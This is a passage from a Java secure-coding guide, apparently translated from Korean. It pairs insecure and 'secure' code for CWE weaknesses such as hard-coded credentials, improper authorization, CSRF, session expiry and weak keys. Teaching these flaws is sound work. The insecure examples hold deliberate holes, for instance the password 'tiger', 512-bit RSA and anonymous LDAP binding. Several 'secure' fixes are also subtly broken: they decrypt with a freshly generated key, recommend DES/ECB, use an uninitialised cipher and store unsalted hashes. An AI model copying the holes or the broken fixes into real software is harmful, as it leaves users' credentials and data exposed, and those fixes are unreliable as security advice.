9: else if (i1 == i2) { ret = 0; }
10: else { ret = -1; }
11: } else
12: ret = -1;
13: return ret;
14: }
15: ……
16: }
The parameters are checked for null first.
D. References
[1] CWE-398: Indicator of Poor Code Quality – http://cwe.mitre.org/data/definitions/398.html
6. EJB Bad Practices: Use of Sockets
A. Definition
The Enterprise JavaBeans (EJB) specification prohibits the direct use of server sockets (ServerSocket) within a bean to provide services to clients. All beans within an EJB container are designed to provide services to EJB clients in the form of a network server. Creating another ServerSocket within a bean can cause structural confusion and interfere with the container’s ability to manage resources and lifecycle.
B. Secure Coding Techniques
Do not use server sockets in EJB programs.
C. Examples
Insecure Code Example
1: ……
2: public void function_test() throws IOException {
3: ServerSocket s = new ServerSocket(1122);
4: Socket clientSocket = serverSocket.accept();
5: ……
6: }
7: ……
Server sockets must not be used in EJB programs.
Secure Code Example
1: ……
2: public void function_test() throws IOException {
3: //EJB기반에서 server socket 사용을 금한다.
4: //ServerSocket s = new ServerSocket(1122);
8: //Socket clientSocket = serverSocket.accept();
9: ……
5: }
6: ……
Server sockets must not be used in EJB programs.
D. References
[1] CWE-577: EJB Bad Practices: Use of Sockets – http://cwe.mitre.org/data/definitions/577.html
7. Object Model Violation: Just one of equals() and hashCode() Defined
A. Definition
According to Java standards, identical objects must have the same hash code. In other words, if a.equals(b) == true, then a.hashCode() == b.hashCode() must also be true. Therefore, within a single class, both equals() and hashCode() must be implemented together, or neither should be implemented.
B. Secure Coding Techniques
If equals() is defined within a class, hashCode() must also be defined. Conversely, if hashCode() is defined, equals() must also be defined.
C. Examples
Insecure Code Example
1: public class U581 {
2: ……
3: // equals()만 구현
4: public boolean equals(Object obj) {
5: boolean ret;
6: if (obj != null) {
7: int i1 = this.hashCode();
8: int i2 = obj.hashCode();
9: if (i1 == i2) { ret = true; }
10: else { ret = false; }
11: } else {
12: ret = false;
13: }
14: return ret;
15: }
16: ……
17: }
Only one of equals() and hashCode() has been defined.
Secure Code Example
1: public class S581 {
2: ……
3: // 자신의 객체와 비교하는 equals() 구현
4: public boolean equals(Object obj) {
5: boolean ret;
6: if (obj != null) {
7: int i1 = this.hashCode();
8: int i2 = obj.hashCode();
9: if (i1 == i2) { ret = true; }
10: else { ret = false; }
11: } else {
12: ret = false;
13: }
14: return ret;
15: }
16: // hashCode() 구현
17: public int hashCode() {
18: return new HashCodeBuilder(17, 37).toHashCode();
19: }
20: ……
21: }
Both equals() and hashCode() must be defined.
D. References
[1] CWE-581: Object Model Violation: Just one of equals() and hashCode() Defined – http://cwe.mitre.org/data/definitions/581.html
Section 3. Security Characteristics
Careful attention is required when handling basic security functions. Improper use of security characteristics can lead to performance degradation or additional complications. Security characteristics include authentication, access control, confidentiality, encryption, and authorization management.
1. Hard-coded Password
A. Definition
It is dangerous for software to include hard-coded passwords within the code for internal authentication or communication with external components. If a hard-coded password causes an authentication failure, it is difficult for system administrators to detect the cause. Even if the cause is identified, modifying a hard-coded password is difficult, potentially forcing administrators to shut down the entire software system to resolve the issue.
B. Secure Coding Techniques
- Instead of using default passwords or keys provided during software installation, design the system with a “First-Login” mode that requires users to enter strong passwords or keys manually.
- It is desirable to encrypt passwords and store them in separate configuration files.
C. Examples
Insecure Code Example
1: public class U259 {
2: private Connection conn;
3:
4: public Connection DBConnect(String url, String id) {
5: try {
6: // password가 하드-코드 되어있다.
7: conn = DriverManager.getConnection(url, id, "tiger");
8: } catch (SQLException e) {
9: System.err.println("...");
10: }
11: return conn;
12: }
13: ……
14: }
Using a password defined as a constant within the code to connect to a database can create vulnerabilities in the program.
Secure Code Example
1: public class S259 {
2: public Connection connect(Properties props) throws NoSuchAlgorithmException,
NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException,
BadPaddingException {
3: try {
4: String url = props.getProperty("url");
5: String id = props.getProperty("id");
6: String pwd = props.getProperty("passwd" );
7:
8: //외부 설정 파일에서 패스워드를 가져오며, 패스워드가 값이 있는지 체크하고 있음
9: if (url != null && !"".equals(url) && id != null && !"".equals(id)
10: && pwd != null && !"".equals(pwd)) {
11: KeyGenerator kgen = KeyGenerator.getInstance("Blowfish");
12: SecretKey skey = kgen.generateKey();
13: byte[] raw = skey.getEncoded();
14: SecretKeySpec skeySpec = new SecretKeySpec(raw, "Blowfish");
15:
16: Cipher cipher = Cipher.getInstance("Blowfish");
17: cipher.init(Cipher.DECRYPT_MODE, skeySpec);
18: byte[] decrypted_pwd = cipher.doFinal(pwd.getBytes());
19: pwd = new String(decrypted_pwd);
20: conn = DriverManager.getConnection(url, id, pwd);
21: }
22: } catch (SQLException e) {
23: …
When writing programs that use a database, implement separate logic to retrieve and verify passwords according to established security procedures.
Insecure Code Example
1: try {
2: Connection con = DriverManager.getConnection(url, "scott" , " tiger" );
3: ......
4: } catch (SQLException e) {
5: throw new MyException("DB 에러“);
6: }
Using default accounts provided during installation makes the password easy to expose as it is hard-coded within the program.
Secure Code Example
1: /* mkstore -wrl /mydir -createCredential MyTNSName some_user some_password */
2: try {
3: System.setProperty("oracle.net.tns_admin", "/mydir");
4: java.util.Properties info = new java.util.Properties();
5: // DB 커넥션을 위한 계정은 oracle 기능을 사용한다.
6: info.put("oracle.net.wallet_location",
7: " (SOURCE=(METHOD=file)(METHOD_DATA=(DIRECTORY=/mydir)))" );
8: OracleDataSource ds = new OracleDataSource();
9: ds.setURL("jdbc:oracle:thin:@MyTNSName");
10: ds.setConnectionProperties(info);
11: Connection conn = ds.getConnection();
12: } catch (SQLException e) {
13: throw new MyException("DB 에러“);
14: }
Use Oracle’s mkstore tool to encrypt and manage database credentials securely.
D. References
[1] CWE-259: Hard-coded Password – http://cwe.mitre.org/data/definitions/259.html
CWE-321: Use of Hard-coded Cryptographic Key – http://cwe.mitre.org/data/definitions/321.html
CWE-798: Use of Hard-coded Credentials – http://cwe.mitre.org/data/definitions/798.html
[2] SANS Top 25 2010 – CWE ID 798: Use of Hard-coded Credentials
2. Improper Authorization
A. Definition
When software fails to perform access control checks on all possible execution paths or performs them incompletely, an attacker can leak information or execute unauthorized actions through these accessible paths.
B. Secure Coding Techniques
- Reduce the attack surface exposed to attackers by assigning information and functions based on user roles.
- Manage an ACL (Access Control List) based on user permissions.
Note: Vulnerabilities can be avoided by using established frameworks. For example, the JAAS Authorization Framework or OWASP ESAPI Access Control can be used as authorization frameworks.
C. Examples
Insecure Code Example (LDAP)
1: public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
{
2: ……
3: env.put(Context.INITIAL_CONTEXT_FACTORY, CommonMySingleConst.INITCTX);
4: env.put(Context.PROVIDER_URL, sServiceProvider);
5: // 익명으로 LDAP 인증을 사용
6: env.put(Context.SECURITY_AUTHENTICATION, "none");
7: env.put(Context.SECURITY_PRINCIPAL, sUid);
8: env.put(Context.SECURITY_CREDENTIALS, sPwd);
9: ……
In this example, external inputs are used in a dynamic LDAP query without separate access control for user authentication. This essentially allows anonymous binding, meaning an arbitrary user could access information from the outside.
Secure Code Example (LDAP)
1: public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
{
2: ……
3: env.put(Context.PROVIDER_URL, sServiceProvider);
4: // 익명의 인증을 사용하지 않는다.
5: env.put(Context.SECURITY_AUTHENTICATION, "simple");
6: env.put(Context.SECURITY_PRINCIPAL, sUid);
7: env.put(Context.SECURITY_CREDENTIALS, sPwd);
8: ……
Implement access control by requiring the user ID and password to be correctly set in the context before allowing access.
Insecure Code Example (Message Access)
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new Exception("invalid username or password");
6: }
7:
8: String msgId = request.getParameter("msgId");
9: if ( msgId == null ) {
10: throw new MyException("데이터 오류");
11: }
12: Message msg = LookupMessageObject(msgId);
13: if ( msg != null ) {
14: out.println("From: " + msg.getUserName()");
15: out.println("Subject: " + msg.getSubField()");
16: out.println("\n" + msg.getBodyField()");
17: }
18: %>
In this case, once authentication is successful, the user can query any message ID. This allows a user to view messages belonging to others (Insecure Direct Object Reference).
Secure Code Example (Message Access)
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7:
8: String msgId = request.getParameter("msgId");
9: if ( msgId == null ) {
10: throw new MyException("데이터 오류");
11: }
12: Message msg = LookupMessageObject(msgId);
13:
14: if ( msg != null && username.equals(msg.getUserName()) ) {
15: out.println("From: " + msg.getUserName()");
16: out.println("Subject: " + msg.getSubField()");
17: out.println("\n" + msg.getBodyField()");
18: } else { throw new MyException("권한 에러“); }
19: %>
Access is only granted if the authenticated user matches the owner of the message box.
D. References
[1] CWE-285: Improper Authorization – http://cwe.mitre.org/data/definitions/285.html
CWE-219: Sensitive Data Under Web Root – http://cwe.mitre.org/data/definitions/219.html
[2] OWASP Top 10 2010 – Category A8: Failure to Restrict URL Access
[3] SANS Top 25 2010 – CWE ID 285: Improper Authorization
[4] NIST. “Role Based Access Control and Role Based Security”
[5] M. Howard and D. LeBlanc. “Writing Secure Code”. 2nd Edition.
3. Cross-Site Request Forgery (CSRF)
A. Definition
A CSRF attack occurs when a malicious website causes a user’s web browser to perform unwanted actions on a trusted site. The attacker exploits the fact that a user’s authenticated session remains active even when unintended actions are triggered, making the server unable to distinguish between a legitimate and an illegitimate request.
When transmitting a request to a web application, if the value used to prove the legitimacy of that request is fixed and transmitted via the GET method, an attacker can easily discover it and send a crafted request to perform dangerous operations.
B. Secure Coding Techniques
- Use the POST method for submitting form data.
- Use anti-CSRF packages such as OWASP CSRFGuard to implement unique tokens for each session or request.
C. Examples
Insecure Code Example
안전하지 않는 코드 예제
1: …… 2: <form name="MyForm" method="get" action="customer.do"> 3: <input type=text name="txt1"> 4: <input type=submit value="보내기"> 5: </form> 6: ……
The GET method is vulnerable because it simply appends form data to the URL. Since the transmitted values are exposed in the URL, the form is highly susceptible to CSRF attacks.
Secure Code Example
1: …… 2: <form name="MyForm" method="post" action="customer.do"> 3: <input type=text name="txt1"> 4: <input type=submit value="보내기"> 5: </form> 6:
Using the POST method mitigates the threat by not exposing data in the URL. (Note: For robust security, a unique security token should also be included in the form).
D. References
[1] CWE-352: Cross-Site Request Forgery – http://cwe.mitre.org/data/definitions/352.html
[2] OWASP Top Ten 2010 Category A5 – Cross-Site Request Forgery (CSRF)
[3] SANS Top 25 2010 – CWE ID 352: Cross-Site Request Forgery
4. Insufficient Session Expiration
A. Definition
This vulnerability occurs when a website allows an attacker to reuse existing session authentication information or session IDs that were used for authentication.
B. Secure Coding Techniques
When setting the session expiration time, a suitable positive integer must be used so that the session terminates after a certain period of time has elapsed.
C. Examples
Insecure Code Example
1: public class U613 extends HttpServlet {
2: public void noExpiration(HttpSession session) {
3: if (session.isNew()) {
4: // 만료시간이 -1으로 세팅되어 세션이 절대로 끝나지 않는다.
5: session.setMaxInactiveInterval(-1);
6: }
7: }
8: }
The session expiration time is set to -1, ensuring that the session never expires. This case can introduce vulnerabilities into the program.
Secure Code Example
1: public class S613 extends HttpServlet {
2: public void noExpiration(HttpSession session) {
3: if (session.isNew()) {
4: // 세션이 끝날 수 있도록 적절한 양의 정수값으로 설정한다.
5: session.setMaxInactiveInterval(12000);
6: }
7: }
8: }
Depending on the characteristics of the application, an appropriate positive integer should be set so that the session terminates after a certain amount of time.
D. References
[1] CWE-613 Insufficient Session Expiration – http://cwe.mitre.org/data/definitions/613.html
5. Password Management: Heap Inspection
A. Definition
Storing security-sensitive data in String objects is a security risk. Because Java’s String objects are immutable, they remain in the memory (String Pool) until the JVM’s Garbage Collector runs, and the program cannot manually clear this memory. Consequently, if the application terminates abnormally and a memory dump occurs, sensitive data like passwords may be exposed to unauthorized parties.
B. Secure Coding Techniques
Since storing passwords in String objects is dangerous, they must be stored in mutable objects. Additionally, the contents must be erased from memory after use.
C. Examples
Insecure Code Example
1: ……
2: // private static final long serialVersionUID = 1L;
3: protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
4: ……
5: }
6:
7: protected void doPost(HttpServletRequest request, HttpServletResponse response) {
8: String pass = request.getParameter("pass");
9:
10: if (pass != null) {
11: if (-1 != pass.indexOf("<"))
12: System.out.println("bad input");
13: else {
14: // 패스워드를 힙 메모리에 저장하면 취약하다.
15: String str = new String(pass);
16: }
17: } else { System.out.println("bad input"); }
18: }
19: ……
The example above is a case where a vulnerability occurs by converting and storing a password from a character array into a String type.
Secure Code Example
1: ……
2: // private static final long serialVersionUID = 1L;
3: protected void doGet(HttpServletRequest request,
4: HttpServletResponse response) throws ServletException, IOException {
5: ……
6: }
7:
8: protected void doPost(HttpServletRequest request, HttpServletResponse response) {
9: // 외부로 부터 입력을 받는다.
10: String pass = request.getParameter("psw");
11: // 입력값을 체크한다.
12: if (pass != null) {
13: if (-1 != pass.indexOf("<"))
14: System.out.println("bad input");
15: else {
16: // password를 힙 메모리에 저장하지 않아야 한다..
17: //String str = new String(pass);
18: }
19: } else { System.out.println("bad input"); }
20: }
21: ……
Security-sensitive data (e.g., passwords) must be stored in “mutable objects,” and logic to erase them from memory must be implemented. If no longer used, they should be erased from memory immediately.
D. References
[1] CWE-226 Sensitive Information Uncleared Before Release – http://cwe.mitre.org/data/definitions/226.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
6. Hard-coded Username
A. Definition
It is dangerous for software to include fixed user account names within the code for internal authentication or communication with external components. If a hard-coded account name causes an authentication failure, it is extremely difficult for system administrators to identify the cause of the failure. Even if the cause is identified, the hard-coded credentials must be modified, which may require the system administrator to shut down the entire software system to resolve the issue.
B. Secure Coding Techniques
It is desirable to use passwords in an encrypted format.
C. Examples
Insecure Code Example
1: ……
2: private Connection conn;
3:
4: // 계정과 비밀번호를 상수로 정의하면 취약하다.
5: public Connection DBConnect() {
6: String url = "DBServer";
7: String id = "scott" ;
8: String password = " tiger";
9:
10: try {
11: conn = DriverManager.getConnection(url, id, password);
12: } catch (SQLException e) { …… }
13: return conn;
14: }
The example above is written to allow login without a separate authentication process by setting the username and password as constants within the code. This creates a vulnerability in the program.
Secure Code Example
1: ……
2: private Connection conn;
3:
4: // 계정과 비밀번호는 인자로 입력 받는다.
5: public Connection DBConnect(String id, String password) {
6: String url = "DBServer";
7: try {
8: String CONNECT_STRING = url + ":" + id + ":" + password;
9: InitialContext ctx = new InitialContext();
10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:
12: // 입력 받은 인자로 connection을 연결한다.
13: conn = datasource.getConnection();
14: } catch (SQLException e) { …… }
15: return conn;
16: }
When writing programs that use a database, manage database accounts to ensure that no accounts use an “empty string” as a password. Additionally, user accounts and passwords should be used after encryption/decryption or, if possible, received directly from the user when necessary.
D. References
[1] CWE-255: Credentials Management – http://cwe.mitre.org/data/definitions/255.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
[3] Security Technical Implementation Guide Version 3 – (STIG 3) APP3210.1 CAT II
7. Plaintext Storage of Password
A. Definition
Storing passwords in the form of unencrypted text can be a cause of system compromise. If passwords are stored in plaintext within configuration files, anyone with access to those files can discover them. Passwords must be managed using high-level encryption algorithms.
B. Secure Coding Techniques
If passwords are stored in external configuration files, it is desirable to store them in an encrypted format.
C. Examples
Insecure Code Example
1: package testbed.unsafe;
2: import java.sql.*;
3: import java.util.Properties;
4: import java.io.*;
5: public class U256 {
6: public void f(String url, String name) throws IOException {
7: Connection con = null;
8: try {
9: Properties props = new Properties();
10: FileInputStream in = new FileInputStream("External.properties");
11: byte[] pass = new byte[8];
12: // 외부 파일로부터 password를 읽는다.
13: in.read(pass);
14: // password가 DB connection의 인자변수로 그대로 사용이 된다.
15: con = DriverManager.getConnection(url, name, new String(pass));
16: con.close();
17: } catch (SQLException e) {
18: System.err.println("SQLException Occured ");
19: } finally {
20: try {
21: if (con != null)
22: con.close();
23: } catch (SQLException e) {
24: System.err.println("SQLException Occured ");
25: }
26: }
27: }
28: }
The program above uses the password read from a properties file in its raw String form to connect to the database. If a user stores a malicious string in the properties file for an attack, the program may be exposed to the intended attack.
Secure Code Example
1: package testbed.safe;
2: import java.sql.*;
3: import java.util.Properties;
4: import java.io.*;
5: public class S256 {
6: public void f(String[] args) throws IOException {
7: Connection con = null;
8: try {
9: Properties props = new Properties();
10: FileInputStream in = new FileInputStream("External.properties");
11: props.load(in);
12: String url = props.getProperty("url");
13: String name = props.getProperty("name");
14: // 외부 파일로부터 password를 읽은 후, 복호화 한다.
15: String pass = decrypt(props.getProperty("password" ));
16: // 외부 파일로부터의 패스워드를 복호화 후 사용함.
17: con = DriverManager.getConnection(url, name, pass);
18: } catch (SQLException e) {
19: System.err.println("SQLException Occured ");
20: } finally {
21: try {
22: if (con != null)
23: con.close();
24: } catch (SQLException e) {
25: System.err.println("SQLException Occured ");
26: }
27: }
28: }
29: }
Passwords entered from external sources must be decrypted before use.
D. References
[1]. CWE-256: Plaintext Storage of a Password – http://cwe.mitre.org/data/definitions/256.html
[2]. J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.
8. Password in Configuration File
A. Definition
Storing passwords in configuration files is dangerous. If passwords are saved in an unencrypted state within these files, there is a risk that the password will be directly exposed to unauthorized parties. Therefore, passwords should either be stored in a secure repository that is not easily accessible or be stored in an encrypted state.
B. Secure Coding Techniques
If passwords must be stored in external environment files, it is desirable to encrypt them before storage.
C. Examples
Insecure Code Example
1: package testbed.unsafe;
2: import java.io.FileInputStream;
3: import java.io.FileNotFoundException;
4: import java.io.IOException;
5: import java.sql.Connection;
6: import java.sql.DriverManager;
7: import java.sql.SQLException;
8: public class U260 {
9: public boolean connectTest(String url, String usr) {
10: Connection con = null;
11: byte[] b = new byte[1024];
12: boolean result = false;
13: try {
14: FileInputStream fs = new FileInputStream("sample.cfg");
15: // 외부데이터를 배열로 읽어온다.
16: fs.read(b);
17: // 패스워드 문자열을 만든다
18: String password = new String(b);
19: // 패스워드가 DB 연결정보로 사용이 된다.
20: con = DriverManager.getConnection(url, usr, password);
21: } catch (FileNotFoundException e) {
22: System.err.println("File Not Found Exception Occurred!");
23: } catch (IOException e) {
24: System.err.println("I/O Exception Occurred!");
25: } catch (SQLException e) {
26: System.err.println("SQL Exception Occurred!");
27: } finally {
28: try {
29: if (con != null) {
30: con.close();
31: result = true;
32: }
33: } catch (SQLException e) {
34: System.err.println("SQL Exception Occurred!");
35: }
36: }
37: return result;
38: }
39: }
The program above reads a password stored in a configuration file and uses it directly for a database connection. This allows others to easily access the password, thereby causing a program vulnerability.
Secure Code Example
1: public class S260 {
2: public boolean connectTest(String url, String usr, Key key) {
3: Connection con = null;
4: byte[] b = new byte[1024];
5: boolean result = false;
6: try {
7: FileInputStream fs = new FileInputStream("sample.cfg");
8: if (fs == null || fs.available() <= 0) return false;
9: // 외부 파일로 부터 암호화된 입력값을 받는다.
10: int length = fs.read(b);
11: if (length == 0) {
12: result = false;
13: } else {
14: // 암호화된 패스워드를 복호화한다.
15: Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding" );
16: cipher.init(Cipher.DECRYPT_MODE, key);
17: byte[] db = cipher.doFinal(b);
18: // 문자열 변환
19: String password = new String(db, "utf-8");
20: // DB 연결
21: con = DriverManager.getConnection(url, usr, password);
22: }
23: } catch (FileNotFoundException e) {
24: System.err.println("File Not Found Exception Occurred!");
25: } catch (IOException e) {
26: System.err.println("I/O Exception Occurred!");
27: } catch (SQLException e) {
28: System.err.println("SQL Exception Occurred!");
29: } catch (NoSuchAlgorithmException e) {
30: System.err.println("NoSuchAlgorithmException Occurred!");
31: } catch (NoSuchPaddingException e) {
32: System.err.println("NoSuchPaddingException Occurred!");
33: } catch (InvalidKeyException e) {
34: System.err.println("InvalidKeyException Occurred!");
35: } catch (IllegalBlockSizeException e) {
36: System.err.println("IllegalBlockSizeException Occurred!");
37: } catch (BadPaddingException e) {
38: System.err.println("BadPaddingException Occurred!");
39: } finally {
40: try {
41: if (con != null) {
42: con.close();
43: result = true; } } catch (SQLException e) {
44: System.err.println("SQL Exception Occurred!");
45: } } return result; } }
When using a password stored externally (e.g., in a configuration file) for a database connection, it must be used only after passing through logic that validates the read password or processes it into additional information.
D. References
[1] CWE-260: Password in Configuration File – http://cwe.mitre.org/data/definitions/260.html
[2] J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.
9. Weak Cryptography for Passwords
A. Definition
Software developers sometimes use simple encoding functions to hide passwords in configuration files. However, using overly simple encoding functions like Base64 does not properly protect passwords. Since encoding is a reversible transformation without a secret key, it provides no real security against determined attackers.
B. Secure Coding Techniques
When protecting passwords, do not use encoding methods with known vulnerabilities or unverified algorithms. Passwords should be encrypted using strong algorithms with a key length of at least 128 bits, or preferably hashed using a secure one-way hash function with a salt.
C. Examples
Insecure Code Example
1: ……
2: public boolean DBConnect() throws SQLException {
3: String url = "DBServer";
4: String usr = "Scott";
5: Connection con = null;
6:
7: try {
8: Properties prop = new Properties();
9: prop.load(new FileInputStream("config.properties"));
10:
11: // 패스워드를 64bit로 decoding한다.
12: byte password[] = Base64.decode(prop.getProperty("password" ));
13:
14: // 유효성 점검없이 패스워드를 문자열로 읽는다.
15: con = DriverManager.getConnection(url, usr, password.toString());
16: } catch (FileNotFoundException e) {
17: e.printStackTrace();
18: } catch (IOException e) {
19: e.printStackTrace();
20: }
21: }
In this case, the password is encoded in Base64 and stored in a configuration file. Because of the inherent nature of Base64 encoding (which is easily reversible), the password cannot be protected securely.
Secure Code Example
1: ……
2: public boolean DBConnect() throws SQLException {
3: String url = "DBServer";
4: String usr = "Scott";
5: Connection con = null;
6:
7: try {
8: Properties prop = new Properties();
9: prop.load(new FileInputStream("config.properties"));
10:
11: // 패스워드를 AES 알고리즘 기반의 복호화 코드로 암호화 한다.
12: String password = decrypt(prop.getProperty("password" ));
13:
14: con = DriverManager.getConnection(url, usr, password);
15: } catch (FileNotFoundException e) {
16: e.printStackTrace();
17: } catch (IOException e) {
18: e.printStackTrace();
19: }
20: }
21: private static String decrypt(String encrypted) throws Exception {
22: SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
23: Cipher cipher = Cipher.getInstance("AES");
24: cipher.init(Cipher.DECRYPT_MODE, skeySpec);
25: byte[] original = cipher.doFinal(hexToByteArray(encrypted));
26: return new String(original);
27: }
When handling passwords, it is desirable to encrypt them using a key that is at least 128 bits long (e.g., AES-128 or higher).
D. References
[1] CWE-261: Weak Cryptography for Passwords – http://cwe.mitre.org/data/definitions/261.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
[3] J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.
10. Missing Authentication for Critical Function
A. Definition
This vulnerability occurs when software fails to perform a user authentication process when executing functions that require identity verification or consume significant system resources.
B. Secure Coding Techniques
- Design pages containing sensitive information to require re-authentication (e.g., bank transfers).
- Prevent bypassing client-side security checks to access the server directly.
※ Use libraries or frameworks verified as secure, such as the security features of OpenSSL or ESAPI.
C. Examples
Insecure Code Example
1: public void sendBankAccount(String accountNumber,double balance) {
2: ...
3: BankAccount account = new BankAccount();
4: account.setAccountNumber(accountNumber);
5: account.setToPerson(toPerson);
6: account.setBalance(balance);
7: AccountManager.send(account);
8: ...
9: }
A bank transfer is being performed without undergoing a re-authentication process.
Secure Code Example
1: public void sendBankAccount(HttpServletRequest request, HttpSession session,
2: String accountNumber,double balance) {
3: ...
4: // 재인증을 위한 팝업 화면을 통해 사용자의 credential을 받는다.
5: String newUserName = request.getParameter("username");
6: String newPassword = request.getParameter("password");
7: if ( newUserName == null || newPassword == null ) {
8: throw new MyEception("데이터 오류:);
9: }
10:
11: // 세션으로부터 로긴한 사용자의 credential을 읽는다.
12: String password = session.getValue("password");
13: String userName = session.getValue("username");
14:
15: // 재인증을 통해서 이체여부를 판단한다.
16: if ( isAuthenticatedUser() && newUserName.equal(userName) &&
17: newPassword.equal(password) ) {
18: BankAccount account = new BankAccount();
19: account.setAccountNumber(accountNumber);
20: account.setToPerson(toPerson);
21: account.setBalance(balance);
22: AccountManager.send(account);
23: }
24: ...
25: }
Only users who have already been authenticated are allowed to perform a bank transfer after undergoing an additional re-authentication step.
D. References
[1] CWE-306: Missing Authentication for Critical Function – http://cwe.mitre.org/data/definitions/306.html
CWE-302: Authentication Bypass by Assumed-Immutable Data – http://cwe.mitre.org/data/definitions/302.html
CWE-307: Improper Restriction of Excessive Authentication Attempts – http://cwe.mitre.org/data/definitions/307.html
CWE-287: Improper Authentication – http://cwe.mitre.org/data/definitions/287.html
CWE-602: Client-Side Enforcement of Server-Side Security – http://cwe.mitre.org/data/definitions/602.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/
11. Weak Encryption: Insufficient Key Size
A. Definition
Using short keys can make encryption algorithms vulnerable to brute-force attacks. Currently, it is widely recognized that the RSA algorithm should be used with keys at least 1024 bits long. For symmetric encryption, it is desirable to use keys of at least 128 bits.
B. Secure Coding Techniques
It is desirable to use a key of at least 1024 bits.
C. Examples
Insecure Code Example
1: ……
2: public void target() throws NoSuchAlgorithmException {
3: KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
4: // Key generator의 불충분한 키 크기
5: keyGen.initialize(512);
6: KeyPair myKeys = keyGen.generateKeyPair();
7: }
In the above example, even though the strong RSA algorithm is used, a vulnerability is introduced by setting a small key size.
Secure Code Example
1: ……
2: public void target() throws NoSuchAlgorithmException {
3: KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
4: // Key generator의 값은 최소 1024bit로 설정한다.
5: keyGen.initialize(1024);
6: KeyPair myKeys = keyGen.generateKeyPair();
7: }
The length of the key used for encryption should be set to at least 1024 bits.
D. References
[1] CWE-310 Cryptographic Issues – http://cwe.mitre.org/data/definitions/310.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
12. Missing Encryption of Sensitive Data
A. Definition
Sensitive data can be exposed if the software fails to encrypt it when storing important sensitive data on a disk or transmitting it externally.
B. Secure Coding Techniques
When outputting account numbers, credit card numbers, or password information to a disk, use a one-way encryption algorithm and use SHA-256 for the hash algorithm. During software design, separate sensitive data from general data as much as possible. When sensitive data is transmitted over a network, use a Secure Channel such as SSL or HTTPS.
C. Examples
Insecure Code Example
1: String username = request.getParameter("username");
2: String password = request.getParameter("password");
3: PreparedStatement p=null;
4: try {
5: ......
6: if (username==nill || password==null
7: || !isAuthenticatedUser(usename, password)) {
8: throw new MyException("인증 에러");
9: }
10: p = conn.prepareStatement(" INSERT INTO employees VALUES(?,?)" );
11: p.setString(1,username);
12: p.setString(2,password);
13: p.execute();
14: ......
15: }
The password information of a user who passed authentication is stored in the database as plaintext.
Secure Code Example
1: String username = request.getParameter("username");
2: String password = request.getParameter("password");
3: PreparedStatement p=null;
4: try {
5: ......
6: if (username==nill || password==null
7: || !isAuthenticatedUser(usename, password)) {
8: throw new MyException("인증 에러"
9: }
10: MessageDigest md = MessageDigest.getInstance("SHA-256");
11: md.reset();
12: ......
13: // 패스워드는 해쉬 함수를 이용하여 DB에 저장한다.
14: password =md.digest(password.getBytes());
15: p = conn.preparedStatement(" INSERT INTO employees VALUES(?,?)" );
16: p.setString(1,username);
17: p.setString(2,password);
18: p.execute();
19: ......
20: }
Important data such as passwords are converted into hash values and stored.
D. References
[1] CWE-311 Missing Encryption of Sensitive Data – http://cwe.mitre.org/data/definitions/311.html
CWE-312 Cleartext Storage of Sensitive Information – http://cwe.mitre.org/data/definitions/312.html
CWE-319 Cleartext Transmission of Sensitive Information – http://cwe.mitre.org/data/definitions/319.html
CWE-614 Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute – http://cwe.mitre.org/data/definitions/614.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/
13. Cleartext Transmission of Sensitive Information
A. Definition
When software sends security-related sensitive data in cleartext through a communication channel, sniffing by unauthorized entities can occur.
B. Secure Coding Techniques
Sensitive information must undergo an encryption process before being sent through a communication channel.
C. Examples
Insecure Code Example
1: ……
2: String getPassword() {
3: return "secret";
4: }
5:
6: void foo() {
7: try {
8: Socket socket = new Socket("taranis", 4444);
9: PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
10: String password = getPassword();
11: out.write(password);
12: } catch (FileNotFoundException e) {
13: ……
14: }
The password (plain text) read from a properties file is being transmitted to the server over the network. In this case, the password can be exposed through packet sniffing.
Secure Code Example
1: ……
2: String getPassword() {
3: return "secret_password";
4: }
5:
6: void foo() {
7: try {
8: Socket socket = new Socket("taranis", 4444);
9: PrintStream out = new PrintStream(socket.getOutputStream(), true);
10: Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding" );
11: String password = getPassword();
12: byte[] encryptedStr = c.update(password.getBytes());
13: out.write(encryptedStr, 0, encryptedStr.length);
14: } catch (FileNotFoundException e) {
15: ……
16: }
It is desirable to encrypt the password using a key of at least 128 bits before transmitting it to the server over the network.
D. References
[1] CWE-319 Cleartext Transmission of Sensitive Information – http://cwe.mitre.org/data/definitions/319.html
CWE-311 Missing Encryption of Sensitive Data – http://cwe.mitre.org/data/definitions/311.html
[2] OWASP Top 10 2007 – (OWASP 2007) A9 Insecure Communications
14. Use of Hard-coded Cryptographic Key
A. Definition
Performing encryption using a hard-coded cryptographic key within the code increases the likelihood that encrypted information will be leaked. Many software developers believe that storing the hash of a fixed password within the code can protect the password from malicious attackers. However, it must be considered that many hash functions can be reversed through pre-computation or are at least vulnerable to brute-force attacks.
B. Secure Coding Techniques
